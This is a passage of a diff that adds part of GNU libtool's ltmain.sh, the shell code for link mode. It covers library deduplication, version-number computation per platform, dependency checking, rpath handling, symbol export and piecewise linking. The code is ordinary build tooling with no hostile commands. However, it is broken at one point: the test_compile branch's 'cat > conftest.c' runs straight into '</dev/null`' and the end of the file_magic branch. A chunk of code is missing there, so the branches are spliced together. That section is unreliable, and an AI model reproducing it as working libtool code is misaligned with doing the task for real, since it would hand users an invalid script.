$new_libs" ;; + -R*) ;; + *) + # And here is the reason: when a library appears more + # than once as an explicit dependence of a library, or + # is implicitly linked in more than once by the + # compiler, it is considered special, and multiple + # occurrences thereof are not removed. Compare this + # with having the same library being listed as a + # dependency of multiple other libraries: in this case, + # we know (pedantically, we assume) the library does not + # need to be listed more than once, so we keep only the + # last copy. This is not always right, but it is rare + # enough that we require users that really mean to play + # such unportable linking tricks to link the library + # using -Wl,-lname, so that libtool does not consider it + # for duplicate removal. + case " $specialdeplibs " in + *" $deplib "*) new_libs="$deplib $new_libs" ;; + *) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$deplib $new_libs" ;; + esac + ;; + esac + ;; + esac + done + tmp_libs= + for deplib in $new_libs; do + case $deplib in + -L*) + case " $tmp_libs " in + *" $deplib "*) ;; + *) func_append tmp_libs " $deplib" ;; + esac + ;; + *) func_append tmp_libs " $deplib" ;; + esac + done + eval $var=\"$tmp_libs\" + done # for var + fi + + # Add Sun CC postdeps if required: + test CXX = "$tagname" && { + case $host_os in + linux*) + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ C*) # Sun C++ 5.9 + func_suncc_cstd_abi + + if test no != "$suncc_use_cstd_abi"; then + func_append postdeps ' -library=Cstd -library=Crun' + fi + ;; + esac + ;; + + solaris*) + func_cc_basename "$CC" + case $func_cc_basename_result in + CC* | sunCC*) + func_suncc_cstd_abi + + if test no != "$suncc_use_cstd_abi"; then + func_append postdeps ' -library=Cstd -library=Crun' + fi + ;; + esac + ;; + esac + } + + # Last step: remove runtime libs from dependency_libs + # (they stay in deplibs) + tmp_libs= + for i in $dependency_libs; do + case " $predeps $postdeps $compiler_lib_search_path " in + *" $i "*) + i= + ;; + esac + if test -n "$i"; then + func_append tmp_libs " $i" + fi + done + dependency_libs=$tmp_libs + done # for pass + if test prog = "$linkmode"; then + dlfiles=$newdlfiles + fi + if test prog = "$linkmode" || test lib = "$linkmode"; then + dlprefiles=$newdlprefiles + fi + + case $linkmode in + oldlib) + if test -n "$dlfiles$dlprefiles" || test no != "$dlself"; then + func_warning "'-dlopen' is ignored for archives" + fi + + case " $deplibs" in + *\ -l* | *\ -L*) + func_warning "'-l' and '-L' are ignored for archives" ;; + esac + + test -n "$rpath" && \ + func_warning "'-rpath' is ignored for archives" + + test -n "$xrpath" && \ + func_warning "'-R' is ignored for archives" + + test -n "$vinfo" && \ + func_warning "'-version-info/-version-number' is ignored for archives" + + test -n "$release" && \ + func_warning "'-release' is ignored for archives" + + test -n "$export_symbols$export_symbols_regex" && \ + func_warning "'-export-symbols' is ignored for archives" + + # Now set the variables for building old libraries. + build_libtool_libs=no + oldlibs=$output + func_append objs "$old_deplibs" + ;; + + lib) + # Make sure we only generate libraries of the form 'libNAME.la'. + case $outputname in + lib*) + func_stripname 'lib' '.la' "$outputname" + name=$func_stripname_result + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + ;; + *) + test no = "$module" \ + && func_fatal_help "libtool library '$output' must begin with 'lib'" + + if test no != "$need_lib_prefix"; then + # Add the "lib" prefix for modules if required + func_stripname '' '.la' "$outputname" + name=$func_stripname_result + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + else + func_stripname '' '.la' "$outputname" + libname=$func_stripname_result + fi + ;; + esac + + if test -n "$objs"; then + if test pass_all != "$deplibs_check_method"; then + func_fatal_error "cannot build libtool library '$output' from non-libtool objects on this host:$objs" + else + echo + $ECHO "*** Warning: Linking the shared library $output against the non-libtool" + $ECHO "*** objects $objs is not portable!" + func_append libobjs " $objs" + fi + fi + + test no = "$dlself" \ + || func_warning "'-dlopen self' is ignored for libtool libraries" + + set dummy $rpath + shift + test 1 -lt "$#" \ + && func_warning "ignoring multiple '-rpath's for a libtool library" + + install_libdir=$1 + + oldlibs= + if test -z "$rpath"; then + if test yes = "$build_libtool_libs"; then + # Building a libtool convenience library. + # Some compilers have problems with a '.al' extension so + # convenience libraries should have the same extension an + # archive normally would. + oldlibs="$output_objdir/$libname.$libext $oldlibs" + build_libtool_libs=convenience + build_old_libs=yes + fi + + test -n "$vinfo" && \ + func_warning "'-version-info/-version-number' is ignored for convenience libraries" + + test -n "$release" && \ + func_warning "'-release' is ignored for convenience libraries" + else + + # Parse the version information argument. + save_ifs=$IFS; IFS=: + set dummy $vinfo 0 0 0 + shift + IFS=$save_ifs + + test -n "$7" && \ + func_fatal_help "too many parameters to '-version-info'" + + # convert absolute version numbers to libtool ages + # this retains compatibility with .la files and attempts + # to make the code below a bit more comprehensible + + case $vinfo_number in + yes) + number_major=$1 + number_minor=$2 + number_revision=$3 + # + # There are really only two kinds -- those that + # use the current revision as the major version + # and those that subtract age and use age as + # a minor version. But, then there is irix + # that has an extra 1 added just for fun + # + case $version_type in + # correct linux to gnu/linux during the next big refactor + darwin|freebsd-elf|linux|midnightbsd-elf|osf|windows|none) + func_arith $number_major + $number_minor + current=$func_arith_result + age=$number_minor + revision=$number_revision + ;; + freebsd-aout|qnx|sunos) + current=$number_major + revision=$number_minor + age=0 + ;; + irix|nonstopux) + func_arith $number_major + $number_minor + current=$func_arith_result + age=$number_minor + revision=$number_minor + lt_irix_increment=no + ;; + esac + ;; + no) + current=$1 + revision=$2 + age=$3 + ;; + esac + + # Check that each of the things are valid numbers. + case $current in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + func_error "CURRENT '$current' must be a nonnegative integer" + func_fatal_error "'$vinfo' is not valid version information" + ;; + esac + + case $revision in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + func_error "REVISION '$revision' must be a nonnegative integer" + func_fatal_error "'$vinfo' is not valid version information" + ;; + esac + + case $age in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + func_error "AGE '$age' must be a nonnegative integer" + func_fatal_error "'$vinfo' is not valid version information" + ;; + esac + + if test "$age" -gt "$current"; then + func_error "AGE '$age' is greater than the current interface number '$current'" + func_fatal_error "'$vinfo' is not valid version information" + fi + + # Calculate the version variables. + major= + versuffix= + verstring= + case $version_type in + none) ;; + + darwin) + # Like Linux, but with the current version available in + # verstring for coding it into the library header + func_arith $current - $age + major=.$func_arith_result + versuffix=$major.$age.$revision + # Darwin ld doesn't like 0 for these options... + func_arith $current + 1 + minor_current=$func_arith_result + xlcverstring="$wl-compatibility_version $wl$minor_current $wl-current_version $wl$minor_current.$revision" + verstring="-compatibility_version $minor_current -current_version $minor_current.$revision" + # On Darwin other compilers + case $CC in + nagfor*) + verstring="$wl-compatibility_version $wl$minor_current $wl-current_version $wl$minor_current.$revision" + ;; + *) + verstring="-compatibility_version $minor_current -current_version $minor_current.$revision" + ;; + esac + ;; + + freebsd-aout) + major=.$current + versuffix=.$current.$revision + ;; + + freebsd-elf | midnightbsd-elf) + func_arith $current - $age + major=.$func_arith_result + versuffix=$major.$age.$revision + ;; + + irix | nonstopux) + if test no = "$lt_irix_increment"; then + func_arith $current - $age + else + func_arith $current - $age + 1 + fi + major=$func_arith_result + + case $version_type in + nonstopux) verstring_prefix=nonstopux ;; + *) verstring_prefix=sgi ;; + esac + verstring=$verstring_prefix$major.$revision + + # Add in all the interfaces that we are compatible with. + loop=$revision + while test 0 -ne "$loop"; do + func_arith $revision - $loop + iface=$func_arith_result + func_arith $loop - 1 + loop=$func_arith_result + verstring=$verstring_prefix$major.$iface:$verstring + done + + # Before this point, $major must not contain '.'. + major=.$major + versuffix=$major.$revision + ;; + + linux) # correct to gnu/linux during the next big refactor + func_arith $current - $age + major=.$func_arith_result + versuffix=$major.$age.$revision + ;; + + osf) + func_arith $current - $age + major=.$func_arith_result + versuffix=.$current.$age.$revision + verstring=$current.$age.$revision + + # Add in all the interfaces that we are compatible with. + loop=$age + while test 0 -ne "$loop"; do + func_arith $current - $loop + iface=$func_arith_result + func_arith $loop - 1 + loop=$func_arith_result + verstring=$verstring:$iface.0 + done + + # Make executables depend on our current version. + func_append verstring ":$current.0" + ;; + + qnx) + major=.$current + versuffix=.$current + ;; + + sco) + major=.$current + versuffix=.$current + ;; + + sunos) + major=.$current + versuffix=.$current.$revision + ;; + + windows) + # Use '-' rather than '.', since we only want one + # extension on DOS 8.3 file systems. + func_arith $current - $age + major=$func_arith_result + versuffix=-$major + ;; + + *) + func_fatal_configuration "unknown library version type '$version_type'" + ;; + esac + + # Clear the version info if we defaulted, and they specified a release. + if test -z "$vinfo" && test -n "$release"; then + major= + case $version_type in + darwin) + # we can't check for "0.0" in archive_cmds due to quoting + # problems, so we reset it completely + verstring= + ;; + *) + verstring=0.0 + ;; + esac + if test no = "$need_version"; then + versuffix= + else + versuffix=.0.0 + fi + fi + + # Remove version info from name if versioning should be avoided + if test yes,no = "$avoid_version,$need_version"; then + major= + versuffix= + verstring= + fi + + # Check to see if the archive will have undefined symbols. + if test yes = "$allow_undefined"; then + if test unsupported = "$allow_undefined_flag"; then + if test yes = "$build_old_libs"; then + func_warning "undefined symbols not allowed in $host shared libraries; building static only" + build_libtool_libs=no + else + func_fatal_error "can't build $host shared library unless -no-undefined is specified" + fi + fi + else + # Don't allow undefined symbols. + allow_undefined_flag=$no_undefined_flag + fi + + fi + + func_generate_dlsyms "$libname" "$libname" : + func_append libobjs " $symfileobj" + test " " = "$libobjs" && libobjs= + + if test relink != "$opt_mode"; then + # Remove our outputs, but don't remove object files since they + # may have been created when compiling PIC objects. + removelist= + tempremovelist=`$ECHO "$output_objdir/*"` + for p in $tempremovelist; do + case $p in + *.$objext | *.gcno) + ;; + $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/$libname$release.*) + if test -n "$precious_files_regex"; then + if $ECHO "$p" | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 + then + continue + fi + fi + func_append removelist " $p" + ;; + *) ;; + esac + done + test -n "$removelist" && \ + func_show_eval "${RM}r \$removelist" + fi + + # Now set the variables for building old libraries. + if test yes = "$build_old_libs" && test convenience != "$build_libtool_libs"; then + func_append oldlibs " $output_objdir/$libname.$libext" + + # Transform .lo files to .o files. + oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.$libext$/d; $lo2o" | $NL2SP` + fi + + # Eliminate all temporary directories. + #for path in $notinst_path; do + # lib_search_path=`$ECHO "$lib_search_path " | $SED "s% $path % %g"` + # deplibs=`$ECHO "$deplibs " | $SED "s% -L$path % %g"` + # dependency_libs=`$ECHO "$dependency_libs " | $SED "s% -L$path % %g"` + #done + + if test -n "$xrpath"; then + # If the user specified any rpath flags, then add them. + temp_xrpath= + for libdir in $xrpath; do + func_replace_sysroot "$libdir" + func_append temp_xrpath " -R$func_replace_sysroot_result" + case "$finalize_rpath " in + *" $libdir "*) ;; + *) func_append finalize_rpath " $libdir" ;; + esac + done + if test yes != "$hardcode_into_libs" || test yes = "$build_old_libs"; then + dependency_libs="$temp_xrpath $dependency_libs" + fi + fi + + # Make sure dlfiles contains only unique files that won't be dlpreopened + old_dlfiles=$dlfiles + dlfiles= + for lib in $old_dlfiles; do + case " $dlprefiles $dlfiles " in + *" $lib "*) ;; + *) func_append dlfiles " $lib" ;; + esac + done + + # Make sure dlprefiles contains only unique files + old_dlprefiles=$dlprefiles + dlprefiles= + for lib in $old_dlprefiles; do + case "$dlprefiles " in + *" $lib "*) ;; + *) func_append dlprefiles " $lib" ;; + esac + done + + if test yes = "$build_libtool_libs"; then + if test -n "$rpath"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos* | *-cegcc* | *-*-haiku*) + # these systems don't actually have a c library (as such)! + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C library is in the System framework + func_append deplibs " System.ltframework" + ;; + *-*-netbsd*) + # Don't link with libc until the a.out ld.so is fixed. + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly* | *-*-midnightbsd*) + # Do not include libc due to us having libc/libc_r. + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + ;; + *) + # Add libc to deplibs on all other systems if necessary. + if test yes = "$build_libtool_need_lc"; then + func_append deplibs " -lc" + fi + ;; + esac + fi + + # Transform deplibs into only deplibs that can be linked in shared. + name_save=$name + libname_save=$libname + release_save=$release + versuffix_save=$versuffix + major_save=$major + # I'm not sure if I'm treating the release correctly. I think + # release should show up in the -l (ie -lgmp5) so we don't want to + # add it in twice. Is that correct? + release= + versuffix= + major= + newdeplibs= + droppeddeps=no + case $deplibs_check_method in + pass_all) + # Don't check for shared/static. Everything works. + # This might be a little naive. We might want to check + # whether the library exists or not. But this is on + # osf3 & osf4 and I'm not really sure... Just + # implementing what was already the behavior. + newdeplibs=$deplibs + ;; + test_compile) + # This code stresses the "libraries are programs" paradigm to its + # limits. Maybe even breaks it. We compile a program, linking it + # against the deplibs as a proxy for the library. Then we can check + # whether they linked in statically or dynamically with ldd. + $opt_dry_run || $RM conftest.c + cat > conftest.c </dev/null` + $nocaseglob + else + potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null` + fi + for potent_lib in $potential_libs; do + # Follow soft links. + if ls -lLd "$potent_lib" 2>/dev/null | + $GREP " -> " >/dev/null; then + continue + fi + # The statement above tries to avoid entering an + # endless loop below, in case of cyclic links. + # We might still enter an endless loop, since a link + # loop can be closed while we follow links, + # but so what? + potlib=$potent_lib + while test -h "$potlib" 2>/dev/null; do + potliblink=`ls -ld $potlib | $SED 's/.* -> //'` + case $potliblink in + [\\/]* | [A-Za-z]:[\\/]*) potlib=$potliblink;; + *) potlib=`$ECHO "$potlib" | $SED 's|[^/]*$||'`"$potliblink";; + esac + done + if eval $file_magic_cmd \"\$potlib\" 2>/dev/null | + $SED -e 10q | + $EGREP "$file_magic_regex" > /dev/null; then + func_append newdeplibs " $a_deplib" + a_deplib= + break 2 + fi + done + done + fi + if test -n "$a_deplib"; then + droppeddeps=yes + echo + $ECHO "*** Warning: linker path does not have real file for library $a_deplib." + echo "*** I have the capability to make that library automatically link in when" + echo "*** you link to this library. But I can only do this if you have a" + echo "*** shared version of the library, which you do not appear to have" + echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib"; then + $ECHO "*** with $libname but no candidates were found. (...for file magic test)" + else + $ECHO "*** with $libname and none of the candidates passed a file format test" + $ECHO "*** using a file magic. Last file checked: $potlib" + fi + fi + ;; + *) + # Add a -L argument. + func_append newdeplibs " $a_deplib" + ;; + esac + done # Gone through all deplibs. + ;; + match_pattern*) + set dummy $deplibs_check_method; shift + match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` + for a_deplib in $deplibs; do + case $a_deplib in + -l*) + func_stripname -l '' "$a_deplib" + name=$func_stripname_result + if test yes = "$allow_libtool_libs_with_static_runtimes"; then + case " $predeps $postdeps " in + *" $a_deplib "*) + func_append newdeplibs " $a_deplib" + a_deplib= + ;; + esac + fi + if test -n "$a_deplib"; then + libname=`eval "\\$ECHO \"$libname_spec\""` + for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do + potential_libs=`ls $i/$libname[.-]* 2>/dev/null` + for potent_lib in $potential_libs; do + potlib=$potent_lib # see symlink-check above in file_magic test + if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \ + $EGREP "$match_pattern_regex" > /dev/null; then + func_append newdeplibs " $a_deplib" + a_deplib= + break 2 + fi + done + done + fi + if test -n "$a_deplib"; then + droppeddeps=yes + echo + $ECHO "*** Warning: linker path does not have real file for library $a_deplib." + echo "*** I have the capability to make that library automatically link in when" + echo "*** you link to this library. But I can only do this if you have a" + echo "*** shared version of the library, which you do not appear to have" + echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib"; then + $ECHO "*** with $libname but no candidates were found. (...for regex pattern test)" + else + $ECHO "*** with $libname and none of the candidates passed a file format test" + $ECHO "*** using a regex pattern. Last file checked: $potlib" + fi + fi + ;; + *) + # Add a -L argument. + func_append newdeplibs " $a_deplib" + ;; + esac + done # Gone through all deplibs. + ;; + none | unknown | *) + newdeplibs= + tmp_deplibs=`$ECHO " $deplibs" | $SED 's/ -lc$//; s/ -[LR][^ ]*//g'` + if test yes = "$allow_libtool_libs_with_static_runtimes"; then + for i in $predeps $postdeps; do + # can't use Xsed below, because $i might contain '/' + tmp_deplibs=`$ECHO " $tmp_deplibs" | $SED "s|$i||"` + done + fi + case $tmp_deplibs in + *[!\ \ ]*) + echo + if test none = "$deplibs_check_method"; then + echo "*** Warning: inter-library dependencies are not supported in this platform." + else + echo "*** Warning: inter-library dependencies are not known to be supported." + fi + echo "*** All declared inter-library dependencies are being dropped." + droppeddeps=yes + ;; + esac + ;; + esac + versuffix=$versuffix_save + major=$major_save + release=$release_save + libname=$libname_save + name=$name_save + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library with the System framework + newdeplibs=`$ECHO " $newdeplibs" | $SED 's/ -lc / System.ltframework /'` + ;; + esac + + if test yes = "$droppeddeps"; then + if test yes = "$module"; then + echo + echo "*** Warning: libtool could not satisfy all declared inter-library" + $ECHO "*** dependencies of module $libname. Therefore, libtool will create" + echo "*** a static module, that should work as long as the dlopening" + echo "*** application is linked with the -dlopen flag." + if test -z "$global_symbol_pipe"; then + echo + echo "*** However, this would only work if libtool was able to extract symbol" + echo "*** lists from a program, using 'nm' or equivalent, but libtool could" + echo "*** not find such a program. So, this module is probably useless." + echo "*** 'nm' from GNU binutils and a full rebuild may help." + fi + if test no = "$build_old_libs"; then + oldlibs=$output_objdir/$libname.$libext + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + else + echo "*** The inter-library dependencies that have been dropped here will be" + echo "*** automatically added whenever a program is linked with this library" + echo "*** or is declared to -dlopen it." + + if test no = "$allow_undefined"; then + echo + echo "*** Since this library must not contain undefined symbols," + echo "*** because either the platform does not support them or" + echo "*** it was explicitly requested with -no-undefined," + echo "*** libtool will only create a static version of it." + if test no = "$build_old_libs"; then + oldlibs=$output_objdir/$libname.$libext + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + fi + fi + # Done checking deplibs! + deplibs=$newdeplibs + fi + # Time to change all our "foo.ltframework" stuff back to "-framework foo" + case $host in + *-*-darwin*) + newdeplibs=`$ECHO " $newdeplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + new_inherited_linker_flags=`$ECHO " $new_inherited_linker_flags" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + deplibs=`$ECHO " $deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + ;; + esac + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $deplibs " in + *" -L$path/$objdir "*) + func_append new_libs " -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) func_append new_libs " $deplib" ;; + esac + ;; + *) func_append new_libs " $deplib" ;; + esac + done + deplibs=$new_libs + + # All the library-specific variables (install_libdir is set above). + library_names= + old_library= + dlname= + + # Test again, we may have decided not to build it any more + if test yes = "$build_libtool_libs"; then + # Remove $wl instances when linking with ld. + # FIXME: should test the right _cmds variable. + case $archive_cmds in + *\$LD\ *) wl= ;; + esac + if test yes = "$hardcode_into_libs"; then + # Hardcode the library paths + hardcode_libdirs= + dep_rpath= + rpath=$finalize_rpath + test relink = "$opt_mode" || rpath=$compile_rpath$rpath + for libdir in $rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + func_replace_sysroot "$libdir" + libdir=$func_replace_sysroot_result + if test -z "$hardcode_libdirs"; then + hardcode_libdirs=$libdir + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + func_append dep_rpath " $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) func_append perm_rpath " $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir=$hardcode_libdirs + eval "dep_rpath=\"$hardcode_libdir_flag_spec\"" + fi + if test -n "$runpath_var" && test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + func_append rpath "$dir:" + done + eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" + fi + test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" + fi + + shlibpath=$finalize_shlibpath + test relink = "$opt_mode" || shlibpath=$compile_shlibpath$shlibpath + if test -n "$shlibpath"; then + eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" + fi + + # Get the real and link names of the library. + eval shared_ext=\"$shrext_cmds\" + eval library_names=\"$library_names_spec\" + set dummy $library_names + shift + realname=$1 + shift + + if test -n "$soname_spec"; then + eval soname=\"$soname_spec\" + else + soname=$realname + fi + if test -z "$dlname"; then + dlname=$soname + fi + + lib=$output_objdir/$realname + linknames= + for link + do + func_append linknames " $link" + done + + # Use standard objects if they are pic + test -z "$pic_flag" && libobjs=`$ECHO "$libobjs" | $SP2NL | $SED "$lo2o" | $NL2SP` + test "X$libobjs" = "X " && libobjs= + + delfiles= + if test -n "$export_symbols" && test -n "$include_expsyms"; then + $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp" + export_symbols=$output_objdir/$libname.uexp + func_append delfiles " $export_symbols" + fi + + orig_export_symbols= + case $host_os in + cygwin* | mingw* | cegcc*) + if test -n "$export_symbols" && test -z "$export_symbols_regex"; then + # exporting using user supplied symfile + func_dll_def_p "$export_symbols" || { + # and it's NOT already a .def file. Must figure out + # which of the given symbols are data symbols and tag + # them as such. So, trigger use of export_symbols_cmds. + # export_symbols gets reassigned inside the "prepare + # the list of exported symbols" if statement, so the + # include_expsyms logic still works. + orig_export_symbols=$export_symbols + export_symbols= + always_export_symbols=yes + } + fi + ;; + esac + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + if test yes = "$always_export_symbols" || test -n "$export_symbols_regex"; then + func_verbose "generating symbol list for '$libname.la'" + export_symbols=$output_objdir/$libname.exp + $opt_dry_run || $RM $export_symbols + cmds=$export_symbols_cmds + save_ifs=$IFS; IFS='~' + for cmd1 in $cmds; do + IFS=$save_ifs + # Take the normal branch if the nm_file_list_spec branch + # doesn't work or if tool conversion is not needed. + case $nm_file_list_spec~$to_tool_file_cmd in + *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*) + try_normal_branch=yes + eval cmd=\"$cmd1\" + func_len " $cmd" + len=$func_len_result + ;; + *) + try_normal_branch=no + ;; + esac + if test yes = "$try_normal_branch" \ + && { test "$len" -lt "$max_cmd_len" \ + || test "$max_cmd_len" -le -1; } + then + func_show_eval "$cmd" 'exit $?' + skipped_export=false + elif test -n "$nm_file_list_spec"; then + func_basename "$output" + output_la=$func_basename_result + save_libobjs=$libobjs + save_output=$output + output=$output_objdir/$output_la.nm + func_to_tool_file "$output" + libobjs=$nm_file_list_spec$func_to_tool_file_result + func_append delfiles " $output" + func_verbose "creating $NM input file list: $output" + for obj in $save_libobjs; do + func_to_tool_file "$obj" + $ECHO "$func_to_tool_file_result" + done > "$output" + eval cmd=\"$cmd1\" + func_show_eval "$cmd" 'exit $?' + output=$save_output + libobjs=$save_libobjs + skipped_export=false + else + # The command line is too long to execute in one step. + func_verbose "using reloadable object file for export list..." + skipped_export=: + # Break out early, otherwise skipped_export may be + # set to false by a later but shorter cmd. + break + fi + done + IFS=$save_ifs + if test -n "$export_symbols_regex" && test : != "$skipped_export"; then + func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' + func_show_eval '$MV "${export_symbols}T" "$export_symbols"' + fi + fi + fi + + if test -n "$export_symbols" && test -n "$include_expsyms"; then + tmp_export_symbols=$export_symbols + test -n "$orig_export_symbols" && tmp_export_symbols=$orig_export_symbols + $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"' + fi + + if test : != "$skipped_export" && test -n "$orig_export_symbols"; then + # The given exports_symbols file has to be filtered, so filter it. + func_verbose "filter symbol list for '$libname.la' to tag DATA exports" + # FIXME: $output_objdir/$libname.filter potentially contains lots of + # 's' commands, which not all seds can handle. GNU sed should be fine + # though. Also, the filter scales superlinearly with the number of + # global variables. join(1) would be nice here, but unfortunately + # isn't a blessed tool. + $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter + func_append delfiles " $export_symbols $output_objdir/$libname.filter" + export_symbols=$output_objdir/$libname.def + $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols + fi + + tmp_deplibs= + for test_deplib in $deplibs; do + case " $convenience " in + *" $test_deplib "*) ;; + *) + func_append tmp_deplibs " $test_deplib" + ;; + esac + done + deplibs=$tmp_deplibs + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec" && + test yes = "$compiler_needs_object" && + test -z "$libobjs"; then + # extract the archives, so we have objects to list. + # TODO: could optimize this to just extract one archive. + whole_archive_flag_spec= + fi + if test -n "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + test "X$libobjs" = "X " && libobjs= + else + gentop=$output_objdir/${outputname}x + func_append generated " $gentop" + + func_extract_archives $gentop $convenience + func_append libobjs " $func_extract_archives_result" + test "X$libobjs" = "X " && libobjs= + fi + fi + + if test yes = "$thread_safe" && test -n "$thread_safe_flag_spec"; then + eval flag=\"$thread_safe_flag_spec\" + func_append linker_flags " $flag" + fi + + # Make a backup of the uninstalled library when relinking + if test relink = "$opt_mode"; then + $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $? + fi + + # Do each of the archive commands. + if test yes = "$module" && test -n "$module_cmds"; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + eval test_cmds=\"$module_expsym_cmds\" + cmds=$module_expsym_cmds + else + eval test_cmds=\"$module_cmds\" + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + eval test_cmds=\"$archive_expsym_cmds\" + cmds=$archive_expsym_cmds + else + eval test_cmds=\"$archive_cmds\" + cmds=$archive_cmds + fi + fi + + if test : != "$skipped_export" && + func_len " $test_cmds" && + len=$func_len_result && + test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then + : + else + # The command line is too long to link in one step, link piecewise + # or, if using GNU ld and skipped_export is not :, use a linker + # script. + + # Save the value of $output and $libobjs because we want to + # use them later. If we have whole_archive_flag_spec, we + # want to use save_libobjs as it was before + # whole_archive_flag_spec was expanded, because we can't + # assume the linker understands whole_archive_flag_spec. + # This may have to be revisited, in case too many + # convenience libraries get linked in and end up exceeding + # the spec. + if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + fi + save_output=$output + func_basename "$output" + output_la=$func_basename_result + + # Clear the reloadable object creation command queue and + # initialize k to one. + test_cmds= + concat_cmds= + objlist= + last_robj= + k=1 + + if test -n "$save_libobjs" && test : != "$skipped_export" && test yes = "$with_gnu_ld"; then + output=$output_objdir/$output_la.lnkscript + func_verbose "creating GNU ld script: $output" + echo 'INPUT (' > $output + for obj in $save_libobjs + do + func_to_tool_file "$obj" + $ECHO "$func_to_tool_file_result" >> $output + done + echo ')' >> $output + func_append delfiles " $output" + func_to_tool_file "$output" + output=$func_to_tool_file_result + elif test -n "$save_libobjs" && test : != "$skipped_export" && test -n "$file_list_spec"; then + output=$output_objdir/$output_la.lnk + func_verbose "creating linker input file list: $output" + : > $output + set x $save_libobjs + shift + firstobj= + if test yes = "$compiler_needs_object"; then + firstobj="$1 " + shift + fi + for obj + do + func_to_tool_file "$obj" + $ECHO "$func_to_tool_file_result" >> $output + done + func_append delfiles " $output" + func_to_tool_file "$output" + output=$firstobj\"$file_list_spec$func_to_tool_file_result\" + else + if test -n "$save_libobjs"; then + func_verbose "creating reloadable object files..." + output=$output_objdir/$output_la-$k.$objext + eval test_cmds=\"$reload_cmds\" + func_len " $test_cmds" + len0=$func_len_result + len=$len0 + + # Loop over the list of objects to be linked. + for obj in $save_libobjs + do + func_len " $obj" + func_arith $len + $func_len_result + len=$func_arith_result + if test -z "$objlist" || + test "$len" -lt "$max_cmd_len"; then + func_append objlist " $obj" + else + # The command $test_cmds is almost too long, add a + # command to the queue. + if test 1 -eq "$k"; then + # The first file doesn't have a previous command to add. + reload_objs=$objlist + eval concat_cmds=\"$reload_cmds\" + else + # All subsequent reloadable object files will link in + # the last one created. + reload_objs="$objlist $last_robj" + eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\" + fi + last_robj=$output_objdir/$output_la-$k.$objext + func_arith $k + 1 + k=$func_arith_result + output=$output_objdir/$output_la-$k.$objext + objlist=" $obj" + func_len " $last_robj" + func_arith $len0 + $func_len_result + len=$func_arith_result + fi + done + # Handle the remaining objects by creating one last + # 